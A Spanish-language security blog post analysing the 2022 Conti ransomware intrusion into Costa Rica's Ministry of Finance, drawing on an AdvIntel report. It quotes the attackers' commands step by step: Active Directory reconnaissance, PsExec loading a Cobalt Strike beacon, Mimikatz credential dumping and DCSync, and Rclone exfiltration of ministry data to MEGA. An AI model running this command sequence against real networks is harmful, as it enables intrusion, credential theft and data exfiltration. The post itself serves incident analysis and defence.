Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Entradas populares

PostHeaderIcon Anatomía del ataque de ransomware Conti al gobierno de Costa Rica


El 8 de mayo de 2022, el nuevo presidente de Costa Rica, Rodrigo Chaves Robles, decretó estado de emergencia nacional por ciberataques, calificándolos como un acto de terrorismo. Días después, en conferencia de prensa, afirmó que el país estaba en estado de guerra, y que había indicios de que desde dentro de Costa Rica ayudaban al grupo de ransomware Conti, a quienes llamó "traidores" y "filibusteros".




La operación de exfiltración y ransomware tomó aproximadamente cinco días desde el acceso inicial el 11 de abril de 2022, principalmente debido a la exfiltración masiva de datos que prolongó la operación de explotación antes de la implementación del ransomware. 


La plataforma AdvIntel detectó los preparativos del ataque por parte del ahora desaparecido Conti el 11 de abril de 2022, durante la etapa preliminar en la que el actor de amenazas estaba revisando y haciendo reconocimiento en su objetivo elegido.

En su informe diario Breach Pulse del 15 de abril, AdvIntel detalló una operación confirmada de Conti contra el Ministerio de Hacienda de Costa Rica como su punto de acceso inicial. Este ataque al Ministerio de Hacienda de Costa Rica fue, en última instancia, parte de un ataque mucho mayor del grupo ahora conocido como Quantum contra el gobierno de Costa Rica.

Estos ataques se realizaron en nombre de Conti solo como parte de su plan de disolución a largo plazo para el sindicato, un complot que ha sido detallado ampliamente por el equipo de inteligencia de AdvIntel. Después de la infección del 11 de abril de 2022, los actores de amenazas responsables comenzaron a desarrollar aún más sus ataques en Costa Rica, dejando sistemas caídos en todo el país. La funcionalidad de algunas agencias, como el Ministerio de Finanzas, se redujo hasta principios de junio






  •  El vector de ataque inicial para esta operación fue el acceso de credenciales comprometidas a través de VPN.
  • Nombre: Ministerio de Hacienda Costa Rica
  • Dominio: hacienda.go.cr
  • Nombre del actor de amenazas: MemberX
  • Fecha(s): 11 de abril de 2022

   Esta es una de las intrusiones de red más dañinas y documentadas en el panorama de amenazas en los últimos tiempos e incluye el flujo de ataque anterior. Se establecieron y documentaron más de diez sesiones de baliza Cobalt Strike como parte de este ataque.


1. La infección siguió un flujo de ataque típico en el que los adversarios obtuvieron acceso desde una VPN comprometida e instalaron Cobalt Strike dentro de la subred de Costa Rica.

2. Los adversarios obtuvieron reconocimiento del administrador de dominio de la red local y del administrador de la empresa a través de los siguientes comandos:

nltest /dclist:
net group "domain Admins" /domain
net group "Enterprise Admins" /domain

3. Luego, los actores de la amenaza realizaron un reconocimiento de la red a través de la enumeración del dominio, antes de escanear la red en busca de recursos compartidos:

Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\found_shares.txt adfind.exe -f "(objectcategory=person)" > ad_users.txt adfind.exe -f "objectcategory=computer" > ad_computers.txt adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt adfind.exe -sc trustdmp > trustdmp.txt adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt adfind.exe -f "(objectcategory=group)" > ad_group.txt adfind.exe -gcb -sc trustdmp > trustdmp.txt

4. El adversario (al que se hace referencia con el seudónimo interno "MemberX") descargó la salida del archivo compartido en su máquina local a través del canal Cobalt Strike.

Este patrón de ataque brindó a los atacantes la oportunidad de acceder a recursos compartidos de archivos ADMIN$ y cargar/ejecutar un binario DLL del beacon de Cobalt Strike desde la ubicación remota a través de PsExec, estableciendo así acceso de administrador local a través del siguiente comando:

psexec 10.X.X.XX cmd.exe /c regsvr32.exe C:\ProgramData\1.dll

5. Luego, los adversarios aprovecharon Mimikatz de Cobalt Strike para volcar las contraseñas de inicio de sesión y los hashes de NTDS de los usuarios de las máquinas locales, obteniendo hashes de administrador de empresa, dominio y administrador local:

mimikatz sekurlsa::logonpasswords

6. Los adversarios aprovecharon las credenciales de usuario empresarial para realizar un ataque DCSync y Zerologon. Esto efectivamente les dio acceso a cada host en las redes interconectadas de Costa Rica.

mimikatz @lsadump::dcsync /domain:HACIENDA /all /csv

7. Luego, los adversarios cargaron scripts MSI con Atera Remote Management Tool (RMM), los hosts remotos seleccionaron aquellos con acceso de administrador local y menos actividad de los usuarios. Esto establecía un "anclaje" y un retorno seguro en caso de que las balizas de los actores de amenazas fueran quemadas o detectadas por la conocida herramienta EDR utilizada por Costa Rica.

8. Los adversarios hicieron volvieron a escanear la red, aprovechando las credenciales de administrador empresarial y compilaron una lista de todos los activos y bases de datos corporativos disponibles bajo sus nuevos privilegios elevados.

9. En varios hosts de red, los adversarios también crearon un archivo de configuración Rclone, que su herramienta de exfiltración de datos aprovechó como entrada para subir los datos al servicio de MEGA. Luego comenzaron la exfiltración de datos de la red:

rclone.exe copy "\\REDACTED.mh.hacienda.go.cr\REDACTED" mega:REDACTED -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6

10. Los adversarios cargaron las herramientas Process Hacker, Power Tools y Do Not Sleep, y scripts batch para completar el proceso:

  start regsvr32.exe /s /n /i:"-m -net -size 10 -nomutex -p \\REDACTED.local\D$" x64.dll

En general, esta intrusión fue relativamente poco sofisticada y se basó en eludir la solución EDR a través de la baliza personalizada en memoria. Esto, junto con una red bastante "plana" con recursos compartidos administrativos mal configurados, permitió la implementación de una operación de ransomware en los dominios relacionados.

Fuentes: 

https://www.advintel.io/post/anatomy-of-attack-truth-behind-the-costa-rica-government-ransomware-5-day-intrusion

https://blog.segu-info.com.ar/2022/07/anatomia-del-ataque-de-ransomware-al.html


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.